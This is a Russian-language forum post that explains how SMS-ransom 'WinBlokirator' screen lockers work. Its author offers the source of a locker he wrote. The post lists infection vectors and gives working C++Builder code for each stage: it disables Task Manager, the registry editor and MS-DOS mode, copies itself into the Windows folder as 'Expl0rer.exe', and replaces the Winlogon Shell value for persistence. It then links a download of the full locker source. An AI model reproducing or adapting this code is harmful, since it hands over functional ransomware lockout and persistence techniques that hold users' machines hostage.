Прелюдия
Тут один персонаж доставал меня по поводу «что такое «WinBlokirator» » и как оно работает.
Сразу оговорюсь, что статейка для опытных людей ничего нового не даст но вот для новичков в целях общего развития вполне подойдет.
И так, программы класса «WinBlokirator» можно отнести к вредоносным программам но как правило в ихнюю задачу входит только заставить пользователя отправить SMS на платный номер за что и обещают вернуть все на свои места (покрайне мере два варианта которые реверснул только это и делали).
Проникать на компьютер может любым из доступных способов и тут ничем не отличается от техже «KIDO», «Sality» а тоесть путем атаки на уязвимости в сервисах Windows (MS08-067,MS08-068,MS09-001), Интернет браузеров, склейка с исполняемыми файлами, а также через автозапуск съемных накопителей (Flash, CD,DVD и т.д.).
Проникая на компьютер жертвы «программа» (будем так называть) первым делом должна обеспечить себе безопасное пребывание и по максимуму усложнить возможность избавиться от нее не выполнив указанной просьбы (например, отправку SMS) - это достигается путем блокирования «Диспетчера задач», «Редактора реестра», «Загрузка в безопасном режиме/командной строки»
Вот пример возможного кода
(CodeGear C++Builder 2009)
Код:
// Запрещаем Редактирование реестра
reg = new TRegistry();
reg->RootKey=HKEY_CURRENT_USER;
reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",true);
reg->WriteInteger("DisableRegistryTools",1);
reg->CloseKey();
// Запрещаем Диспетчер задач
reg->RootKey=HKEY_CURRENT_USER;
reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",true);
reg->WriteInteger("DisableTaskMgr",1);
reg->CloseKey();
// Запрещаем Загрузку в режиме MS-DOS
reg->RootKey= HKEY_CURRENT_USER;
reg->OpenKey("Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Policies\\WinOldApp",true);
reg->WriteInteger("NoRealMode",1);
reg->CloseKey();
Далее необходимо скопировать себя, куда нибудь в католог Windows –
примерно следующим кодом:
Код:
ZeroMemory(CMD,500);
lstrcat(CMD,"cmd /c copy ");
lstrcat(CMD,Application->ExeName.t_str());
lstrcat(CMD," %WinDir%\\Expl0rer.exe"); //(Expl0rer.exe имя cс которым скопировать наш файл в каталог WINDOWS)
WinExec(CMD,0);
Чтобы при следующей загрузке Windows заблокировать компьютер нам необходимо заменить SHELL Windows (Explorer.exe) на свою программу, что делается путем изменения значения в ветке
Код:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
Программная реализация:
Код:
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey("\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",true);
reg->WriteString("Shell","Expl0rer.exe"); //(Expl0rer.exe имя нашей программы в каталоге WINDOWS)
reg->CloseKey();
Теперь наша программа обеспечила себе возможность спокойно жить на компьютере и запуск при страте системы (путем подмены SHELL-a системы).
Реализация интерфейса
это уже дело вкуса каждого и ничего сложного в этом нет и логика работы простейшая:
1. Говорим что куда отправлять
2. Проверяем введенный код на корректность
3. Если корректно то возвращаем все на свои места в обратной последовательности.
Вот такая вот простая, в общем, технология, на которой умудряются зарабатывать деньги.
Вот несколько скринов программы, которая писалась специально для одной фирмы, которая не хотела покупать лицензионное ПО а Админ очень сильно волновался по этому поводу.
Она действовала по то муже принципу что и выше но только никаких кодов не просила =)
P.S. Фирма купила лицензии =)
Ну критикуйте меня.
Могу выложить исходники "блокиратора" со скринов - если модераторы не против. (код не супер красивый но вполне читабельный)
Вообщем исходник.
http://rapidshare.com/files/250975578/1.rar_.html
MD5: 40991CEE044C713F1D8E671B0FA6D1EF